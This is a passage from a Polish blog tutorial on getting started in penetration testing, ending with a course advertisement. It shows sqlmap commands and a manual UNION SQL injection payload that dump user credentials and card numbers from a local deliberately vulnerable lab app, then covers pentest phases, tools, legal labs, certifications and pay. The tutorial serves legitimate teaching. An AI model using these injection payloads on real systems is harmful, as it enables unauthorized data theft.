&lt;p&gt;Rozłóżmy tę komendę na czynniki pierwsze:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-u "..."&lt;/code&gt; - adres celu wraz z podatnym parametrem (nasz &lt;code&gt;cat&lt;/code&gt;); to jedyne, czego sqlmap potrzebuje, żeby zacząć.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--batch&lt;/code&gt; - tryb nieinteraktywny: sqlmap nie przerywa pytaniami, tylko sam przyjmuje rozsądne odpowiedzi domyślne.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--dbs&lt;/code&gt; - wylistuj wszystkie bazy danych, do których aplikacja ma dostęp.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;sqlmap potwierdził, że parametr &lt;code&gt;cat&lt;/code&gt; jest podatny na kilka technik wstrzyknięcia naraz, rozpoznał silnik bazy (MySQL/MariaDB) i wypisał dostępne bazy: &lt;code&gt;acuart&lt;/code&gt; (dane aplikacji) oraz systemową &lt;code&gt;information_schema&lt;/code&gt;. Zaglądamy do &lt;code&gt;acuart&lt;/code&gt; i pytamy o tabele:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Krok 2 - jakie tabele są w bazie acuart?
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch -D acuart --tables
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Doszły dwa parametry: &lt;code&gt;-D acuart&lt;/code&gt; wskazuje konkretną bazę (tę, którą przed chwilą znaleźliśmy), a &lt;code&gt;--tables&lt;/code&gt; każe wypisać jej tabele.&lt;/p&gt;

&lt;p&gt;Osiem tabel, a w nich oczywista zdobycz: &lt;code&gt;users&lt;/code&gt;. Wyciągamy jej całą zawartość:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Krok 3 - wyciągnij konta z tabeli users
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch -D acuart -T users --dump
Database: acuart
Table: users
[1 entry]
+---------------------+------+------+------------------+---------+-------+-----------+-----------+
| cc                  | cart | pass | email            | phone   | uname | name      | address   |
+---------------------+------+------+------------------+---------+-------+-----------+-----------+
| 1234-5678-2300-9000 | NULL | test | test@test.acuart | 2323345 | test  | Test User | 21 street |
+---------------------+------+------+------------------+---------+-------+-----------+-----------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tym razem dokładamy &lt;code&gt;-T users&lt;/code&gt; (wybieramy tabelę &lt;code&gt;users&lt;/code&gt;) oraz &lt;code&gt;--dump&lt;/code&gt; (pobierz i pokaż całą jej zawartość, rekord po rekordzie).&lt;/p&gt;

&lt;p&gt;Trzy komendy i mamy pełny rekord konta: login &lt;code&gt;test&lt;/code&gt;, hasło &lt;code&gt;test&lt;/code&gt;, e-mail, a do tego zapisany numer karty płatniczej. Na prawdziwym sklepie ta sama jedna podatność oznaczałaby zrzut całej tabeli klientów wraz z danymi kart - i to jest dokładnie ten moment, w którym luka przestaje być teorią.&lt;/p&gt;

&lt;p&gt;A jeśli zamiast oglądać dane na ekranie chcemy je zapisać do pliku? sqlmap i tak domyślnie zrzuca wynik do CSV, ale flagą &lt;code&gt;--output-dir&lt;/code&gt; wskażemy własny katalog - wygodne, gdy zbieramy materiał do raportu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Ten sam zrzut, ale wynik ląduje we wskazanym katalogu
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch        -D acuart -T users --dump --output-dir=./wyniki
[INFO] table 'acuart.users' dumped to CSV file './wyniki/localhost/dump/acuart/users.csv'

# Gotowy plik można od razu otworzyć albo przetworzyć dalej
kali@kali:~$ cat ./wyniki/localhost/dump/acuart/users.csv
cc,cart,pass,email,phone,uname,name,address
1234-5678-2300-9000,NULL,test,test@test.acuart,2323345,test,Test User,21 street
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Domyślnym formatem jest CSV, ale przez &lt;code&gt;--dump-format&lt;/code&gt; można wybrać też HTML albo SQLITE. Tak zapisany plik trafia wprost do dowodów w raporcie z testu - bez ręcznego przepisywania czegokolwiek.&lt;/p&gt;

&lt;h3&gt;
  
  
  To samo ręcznie - atak UNION przez URL
&lt;/h3&gt;

&lt;p&gt;sqlmap robi to automatycznie, ale dobry pentester rozumie, co dzieje się pod spodem - i potrafi powtórzyć atak ręcznie. Do przechwytywania i modyfikowania żądań służy zwykle &lt;strong&gt;Burp Suite&lt;/strong&gt;: narzędzie pośredniczące (proxy), które staje między przeglądarką a serwerem i pozwala dowolnie zmieniać wysyłane dane. W naszym przypadku podatny parametr siedzi wprost w adresie URL, więc atak złożymy nawet bez proxy - po prostu wpisując spreparowany adres w przeglądarce.&lt;/p&gt;

&lt;p&gt;Tym razem weźmy na warsztat inny adres. Klikając w menu w &lt;strong&gt;artists&lt;/strong&gt;, trafiamy pod &lt;code&gt;artists.php?artist=1&lt;/code&gt; - to kolejny parametr w URL, znaleziony dokładnie tak samo jak wcześniej &lt;code&gt;cat&lt;/code&gt;: po prostu widać go w pasku adresu. Ten sam test apostrofem (&lt;code&gt;artist=1'&lt;/code&gt;) też kończy się błędem SQL, więc i ten parametr jest podatny - tylko że to wstrzyknięcie złożymy ręcznie, żeby zobaczyć mechanizm od środka.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcwwlmsd5i85cx7erabe9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcwwlmsd5i85cx7erabe9.png" alt="Pasek adresu z zaznaczonym parametrem artist=1 w adresie artists.php oraz strona pokazujaca wybranego artyste i jego opis" width="800" height="245"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Parametr &lt;code&gt;artist&lt;/code&gt; widoczny w pasku adresu (&lt;code&gt;artists.php?artist=1&lt;/code&gt;, zaznaczony) - strona wyświetla wybranego artystę i jego opis.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhkbgaot1ib2hcnspl6u5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhkbgaot1ib2hcnspl6u5.png" alt="Pasek adresu z parametrem artist=1%27 i komunikat bledu skladni SQL MariaDB zamiast opisu artysty" width="800" height="245"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ten sam test apostrofem co przy &lt;code&gt;cat&lt;/code&gt;: &lt;code&gt;artists.php?artist=1'&lt;/code&gt; (w pasku zapisane jako &lt;code&gt;%27&lt;/code&gt;) zwraca błąd składni SQL - czyli parametr &lt;code&gt;artist&lt;/code&gt; również jest podatny.&lt;/p&gt;

&lt;p&gt;Wykorzystamy technikę &lt;strong&gt;UNION&lt;/strong&gt;. Polega ona na dokleceniu do oryginalnego zapytania własnego &lt;code&gt;SELECT&lt;/code&gt; przez słowo kluczowe &lt;code&gt;UNION&lt;/code&gt; - dzięki temu w miejscu zwykłych wyników aplikacji (tu: opisu artysty) pojawiają się dane wybrane przez atakującego. W parametr &lt;code&gt;artist&lt;/code&gt; strony &lt;code&gt;artists.php&lt;/code&gt; wstrzykujemy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:8080/artists.php?artist=-1 UNION SELECT 1,group_concat(uname,0x3a,pass,0x3a,cc,0x3a,email),3 FROM users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rozłóżmy ten ładunek na części:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;artist=-1&lt;/code&gt; - nieistniejący identyfikator artysty, więc oryginalne zapytanie nie zwraca żadnego wiersza i całe miejsce na wynik zostaje wolne dla naszego &lt;code&gt;UNION SELECT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SELECT 1,...,3&lt;/code&gt; - podajemy &lt;strong&gt;trzy&lt;/strong&gt; wartości, bo oryginalne zapytanie też zwraca trzy kolumny (artysta ma identyfikator, nazwę i opis), a &lt;code&gt;UNION&lt;/code&gt; wymaga zgodnej liczby kolumn. Liczby &lt;code&gt;1&lt;/code&gt; i &lt;code&gt;3&lt;/code&gt; to atrapy w kolumny, których strona i tak nie pokazuje; nasz ładunek wstawiamy w &lt;strong&gt;środkową&lt;/strong&gt; kolumnę, bo to właśnie ją aplikacja wyświetla jako nazwę artysty.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;uname&lt;/code&gt;, &lt;code&gt;pass&lt;/code&gt;, &lt;code&gt;cc&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt; - to nazwy kolumn tabeli &lt;code&gt;users&lt;/code&gt;, które poznaliśmy już wcześniej ze zrzutu sqlmapem (widać je w nagłówku zrzuconej tabeli). Tu po prostu wybieramy te najciekawsze.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;group_concat(...)&lt;/code&gt; - skleja wszystkie te pola jednego konta w jeden napis, a &lt;code&gt;0x3a&lt;/code&gt; (zapisany szesnastkowo dwukropek) rozdziela je tak, żeby dało się je odczytać.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tak złożone zapytanie baza wykonuje posłusznie i zwraca wyciągnięte dane dokładnie tam, gdzie aplikacja spodziewała się nazwy artysty:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fby89qqnx5i0ykwkdcrg9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fby89qqnx5i0ykwkdcrg9.png" alt="Strona artists.php lokalnego vulnweb: w miejscu nazwy artysty widać wyciekły login, hasło, numer karty i e-mail konta test" width="799" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Efekt ręcznego ataku UNION na &lt;code&gt;artists.php&lt;/code&gt;. W miejscu nazwy artysty aplikacja wyświetliła wyciekły rekord konta: &lt;code&gt;test:test:1234-5678-2300-9000:test@test.acuart&lt;/code&gt; - login, hasło, numer karty i e-mail. Ten sam wynik co sqlmap, tylko że tu widać dokładnie, jak pojedynczy spreparowany adres URL zamienia niewinne zapytanie o artystę w wyciek danych.&lt;/p&gt;

&lt;p&gt;Zrozumienie tego mechanizmu jest ważniejsze niż samo kliknięcie narzędzia - pozwala te luki nie tylko znajdować, ale i naprawiać.&lt;/p&gt;

&lt;p&gt;Na tym etapie etyczny pentester zatrzymuje się dokładnie tam, gdzie wystarczy, by udowodnić istnienie luki. Nie chodzi o wyrządzenie maksymalnej szkody - chodzi o dowód koncepcji (proof of concept), który pokaże klientowi, że problem jest realny. W rzeczywistym zleceniu masz w umowie zapisane, jak daleko wolno Ci się posunąć.&lt;/p&gt;

&lt;h3&gt;
  
  
  Faza 4: Post-eksploatacja
&lt;/h3&gt;

&lt;p&gt;Zdobycie pierwszego dostępu to rzadko koniec. Pentester ocenia, jak głęboko sięga problem: czy z konta zwykłego użytkownika da się podnieść uprawnienia do administratora (eskalacja uprawnień), czy z jednej maszyny można przejść na kolejne (ruch boczny, lateral movement), jakie wrażliwe dane stają się osiągalne. To tu mierzy się prawdziwy wpływ podatności na organizację. Cały czas obowiązuje zasada minimalnej ingerencji - dokumentujesz zasięg, ale nie niszczysz i nie wynosisz danych poza ustalony zakres.&lt;/p&gt;

&lt;h3&gt;
  
  
  Faza 5: Raport
&lt;/h3&gt;

&lt;p&gt;Najmniej efektowna, a najważniejsza faza. Raport to produkt, za który płaci klient. Dobry dokument zawiera streszczenie dla zarządu (bez żargonu), szczegóły techniczne każdej luki, dowody (proof of concept), ocenę ryzyka oraz konkretne, wykonalne rekomendacje naprawcze. Pentest bez porządnego raportu jest bezwartościowy - to raport zamienia znalezione usterki w realnie naprawione bezpieczeństwo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Narzędzia pentestera - co i do czego
&lt;/h2&gt;

&lt;p&gt;Bazą jest &lt;strong&gt;Kali Linux&lt;/strong&gt; - dystrybucja z setkami preinstalowanych narzędzi, którą najwygodniej uruchomić jako maszynę wirtualną. Ale narzędzie to tylko narzędzie: znajomość samego nmapa nie czyni pentestera, podobnie jak posiadanie młotka nie czyni stolarza. Poniżej najważniejsze pozycje, z których faktycznie korzysta się w pracy.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Narzędzie&lt;/th&gt;
&lt;th&gt;Do czego służy&lt;/th&gt;
&lt;th&gt;Faza&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kali Linux&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dystrybucja-poligon z gotowym zestawem narzędzi pentestera&lt;/td&gt;
&lt;td&gt;Środowisko&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;nmap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Skanowanie portów, wykrywanie usług i wersji oprogramowania&lt;/td&gt;
&lt;td&gt;Skanowanie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;theHarvester&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Zbieranie adresów e-mail, subdomen i danych z publicznych źródeł (OSINT)&lt;/td&gt;
&lt;td&gt;Rozpoznanie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Przechwytywanie i modyfikacja ruchu HTTP - testy aplikacji webowych&lt;/td&gt;
&lt;td&gt;Eksploatacja (web)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;sqlmap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Automatyczne wykrywanie i potwierdzanie wstrzyknięć SQL (SQL injection)&lt;/td&gt;
&lt;td&gt;Eksploatacja (web)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Metasploit Framework&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Baza exploitów i modułów post-eksploatacji - zarządzanie atakiem&lt;/td&gt;
&lt;td&gt;Eksploatacja&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Analiza ruchu sieciowego pakiet po pakiecie - diagnostyka i podsłuch w labie&lt;/td&gt;
&lt;td&gt;Rozpoznanie / analiza&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hydra / John the Ripper&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Testowanie siły haseł i łamanie skrótów haseł (na własnych danych)&lt;/td&gt;
&lt;td&gt;Eksploatacja&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Przykład użycia &lt;strong&gt;Wireshark&lt;/strong&gt; w wersji konsolowej (&lt;code&gt;tshark&lt;/code&gt;) do podejrzenia ruchu na własnym interfejsie - czysta diagnostyka we własnym labie, nie podsłuch cudzej sieci:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Nasłuch HTTP na własnym interfejsie lab (eth0), tylko pierwsze 5 pakietów
kali@kali:~$ sudo tshark -i eth0 -c 5 -Y "http.request" -T fields \
       -e ip.dst -e http.host -e http.request.uri
10.0.2.20   dvwa.local   /login.php
10.0.2.20   dvwa.local   /vulnerabilities/sqli/?id=1
10.0.2.20   dvwa.local   /vulnerabilities/xss_r/
5 packets captured
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Gdzie ćwiczyć legalnie
&lt;/h2&gt;

&lt;p&gt;To pytanie wraca w każdej rozmowie z początkującym: mam już Kali, na czym teraz trenować? Odpowiedź jest jednoznaczna - na środowiskach, które ich właściciele celowo udostępnili do nauki. Nigdy na cudzych systemach dla testu.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/digininja/DVWA" rel="noopener noreferrer"&gt;DVWA&lt;/a&gt;&lt;/strong&gt; (Damn Vulnerable Web Application) - celowo dziurawa aplikacja webowa, którą uruchamiasz lokalnie. Idealna do nauki wstrzyknięć SQL, skryptów międzydomenowych (XSS) i innych podatności webowych z regulowanym poziomem trudności.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://sourceforge.net/projects/metasploitable/" rel="noopener noreferrer"&gt;Metasploitable&lt;/a&gt; i &lt;a href="https://www.vulnhub.com/" rel="noopener noreferrer"&gt;VulnHub&lt;/a&gt;&lt;/strong&gt; - gotowe obrazy podatnych maszyn wirtualnych. Stawiasz je u siebie i atakujesz do woli we własnej sieci.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://tryhackme.com/" rel="noopener noreferrer"&gt;TryHackMe&lt;/a&gt;&lt;/strong&gt; - platforma z prowadzonymi ścieżkami od podstaw (Pre-Security, Junior Penetration Tester). Najlepszy start dla zupełnie początkujących.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://www.hackthebox.com/" rel="noopener noreferrer"&gt;HackTheBox&lt;/a&gt;&lt;/strong&gt; - setki maszyn o rosnącej trudności, bliżej realnych scenariuszy. Świetne na etap średniozaawansowany i wyżej.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Publiczne cele &lt;a href="https://www.acunetix.com/" rel="noopener noreferrer"&gt;Acunetix&lt;/a&gt;&lt;/strong&gt; - &lt;a href="http://testphp.vulnweb.com/" rel="noopener noreferrer"&gt;testphp.vulnweb.com&lt;/a&gt;, &lt;a href="http://testasp.vulnweb.com/" rel="noopener noreferrer"&gt;testasp.vulnweb.com&lt;/a&gt;, &lt;a href="http://testaspx.vulnweb.com/" rel="noopener noreferrer"&gt;testaspx.vulnweb.com&lt;/a&gt; - serwisy postawione właśnie po to, by się na nich uczyć skanowania i testów webowych.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Zasada, która chroni Twoją karierę:&lt;/strong&gt; jeśli nie postawiłeś celu sam i nie masz na piśmie zgody jego właściciela, nie wolno Ci go skanować ani atakować. Nawet niewinny skan nmapem cudzej infrastruktury bez autoryzacji może być traktowany jako nieuprawniony dostęp. W zawodzie pentestera reputacja i czyste konto to kapitał - jeden nieprzemyślany skan może je przekreślić.&lt;/p&gt;

&lt;h2&gt;
  
  
  Certyfikaty - które naprawdę warto
&lt;/h2&gt;

&lt;p&gt;Certyfikaty nie zastąpią godzin na labach, ale dobrze dobrane przechodzą przez filtry rekrutacyjne i porządkują wiedzę:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;eJPT (eLearnSecurity Junior Penetration Tester)&lt;/strong&gt; - przystępny, w pełni praktyczny. Najlepszy pierwszy certyfikat dla osoby wchodzącej w temat.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OSCP (Offensive Security Certified Professional)&lt;/strong&gt; - złoty standard branży. Egzamin to wielogodzinny praktyczny pentest na żywych maszynach. Trudny i wymagający, ale otwiera drzwi do najlepszych ofert.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PNPT (Practical Network Penetration Tester)&lt;/strong&gt; - praktyczny, ceniony, z naciskiem na realny przebieg testu wraz z raportem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CEH (Certified Ethical Hacker)&lt;/strong&gt; - rozpoznawalny globalnie, bardziej teoretyczny; bywa wymagany w ofertach korporacyjnych i przetargach.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Ścieżka kariery i zarobki
&lt;/h2&gt;

&lt;p&gt;Specjaliści od bezpieczeństwa ofensywnego należą do najbardziej poszukiwanych profili w IT, a podaż dobrych pentesterów jest mniejsza niż popyt. Poniższe widełki to orientacyjny obraz rynku polskiego dla kontraktów B2B netto - traktuj je jako rząd wielkości, nie sztywną tabelę, bo realna stawka zależy od specjalizacji (web, sieci, chmura, urządzenia), certyfikatów i portfolio.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Poziom&lt;/th&gt;
&lt;th&gt;Co realnie potrafi&lt;/th&gt;
&lt;th&gt;Widełki (B2B netto, orientacyjnie)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Junior&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Samodzielnie przechodzi proste maszyny, zna metodykę i narzędzia, pracuje pod okiem seniora&lt;/td&gt;
&lt;td&gt;8 000 - 13 000 zł/mies.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mid&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Prowadzi testy webowe i sieciowe samodzielnie, pisze sensowne raporty, łączy podatności&lt;/td&gt;
&lt;td&gt;15 000 - 22 000 zł/mies.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Senior&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Złożone scenariusze, własne narzędzia, specjalizacja (np. chmura, Active Directory), prowadzenie zespołu&lt;/td&gt;
&lt;td&gt;25 000 - 40 000+ zł/mies.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Droga do pierwszej pracy układa się sensownie w kilku krokach: opanuj fundamenty (sieci, Linux, web), zainstaluj Kali jako maszynę wirtualną, przerób ścieżki na TryHackMe, przejdź serię maszyn na HackTheBox, zdobądź eJPT, a docelowo celuj w OSCP. Równolegle buduj publiczne portfolio - opisy przejścia maszyn (write-upy), własne skrypty, notatki z labów. Na rozmowie rekruter pyta nie o to, jakie masz certyfikaty, lecz o to, co potrafisz pokazać.&lt;/p&gt;

&lt;h2&gt;
  
  
  Red team kontra blue team - dwie strony tej samej monety
&lt;/h2&gt;

&lt;p&gt;W bezpieczeństwie funkcjonują dwa obozy, które razem tworzą realną odporność organizacji:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Red team (ofensywa)&lt;/strong&gt; - symuluje napastnika. Pentesterzy, specjaliści od symulacji ataków, badacze podatności. Ich zadaniem jest znaleźć dziury, zanim zrobi to ktoś niepowołany.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blue team (obrona)&lt;/strong&gt; - utrzymuje obronę i wykrywa ataki. Analitycy centrum operacji bezpieczeństwa (SOC), specjaliści od reagowania na incydenty, inżynierowie detekcji. Ich zadaniem jest zauważyć i powstrzymać.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Coraz częściej mówi się też o &lt;strong&gt;purple team&lt;/strong&gt; - modelu współpracy, w którym ofensywa i obrona wymieniają się wiedzą na bieżąco, zamiast pracować w izolacji. Dla początkującego to ważny sygnał: nawet jeśli ciągnie Cię strona ofensywna, rozumienie, jak działa obrona (logi, detekcja, reagowanie), czyni Cię znacznie lepszym pentesterem. Najlepsi atakujący myślą jak obrońcy - i odwrotnie.&lt;/p&gt;

&lt;h2&gt;
  
  
  Uczciwie na koniec - to wymaga pracy
&lt;/h2&gt;

&lt;p&gt;Jeśli szukasz drogi na skróty, pentesty Cię rozczarują. To dyscyplina, która nagradza cierpliwość i głębię: zanim sprawnie wykorzystasz podatność, musisz rozumieć protokół, system i aplikację, w której ona żyje. Dobra wiadomość jest taka, że ta droga jest przewidywalna i w pełni do przejścia - krok po kroku, na legalnych labach, z rosnącą trudnością. Każda godzina spędzona na własnym poligonie procentuje. A satysfakcja z momentu, w którym po raz pierwszy samodzielnie przejdziesz całą maszynę od rozpoznania do dowodu koncepcji, jest jednym z lepszych uczuć w całym IT.&lt;/p&gt;

&lt;p&gt;Jeśli wolisz przejść tę drogę szybciej i pod okiem kogoś, kto robi to zawodowo, możesz to zrobić z nami. Szkolenie &lt;strong&gt;Testy penetracyjne w praktyce&lt;/strong&gt; to nie wykład ze slajdów - opiera się na ćwiczeniach na celowo podatnych labach (dokładnie takich jak ten, który przed chwilą rozbiliśmy), a prowadzi je Adrian Chaber - Head of Cybersecurity w SALESmanago, który testami bezpieczeństwa zajmuje się zawodowo. Wychodzisz z gotowym warsztatem: metodyką, narzędziami i nawykami, które od razu wykorzystasz w pracy. Szkolenie ma też terminy gwarantowane.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-cyberbezpieczenstwo;testy_penetracyjne_w_praktyce.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post391&amp;amp;utm_content=banner_testy-penetracyjne-jak-zaczac-pentesty" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foxah3kb56zshae82r4dz.jpg" alt="Szkolenie: Testy penetracyjne w praktyce - hackuj strony i systemy (JSystems)" width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-cyberbezpieczenstwo;testy_penetracyjne_w_praktyce.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post391&amp;amp;utm_content=link_testy-penetracyjne-jak-zaczac-pentesty" rel="noopener noreferrer"&gt;Szkolenie Testy penetracyjne w praktyce&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To szkolenie może być &lt;a href="https://jsystems.pl/dofinansowanie?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post391&amp;amp;utm_content=dofinansowanie" rel="noopener noreferrer"&gt;dofinansowane dla Ciebie z KFS lub BUR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;★★★★★Średnia ocena naszych szkoleń w Google: &lt;strong&gt;5/5&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;✕&lt;a href="" class="article-body-image-wrapper"&gt;&lt;img&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>pentesting</category>
      <category>cybersecurity</category>
      <category>hacking</category>
      <category>security</category>
    </item>
  </channel>
</rss>
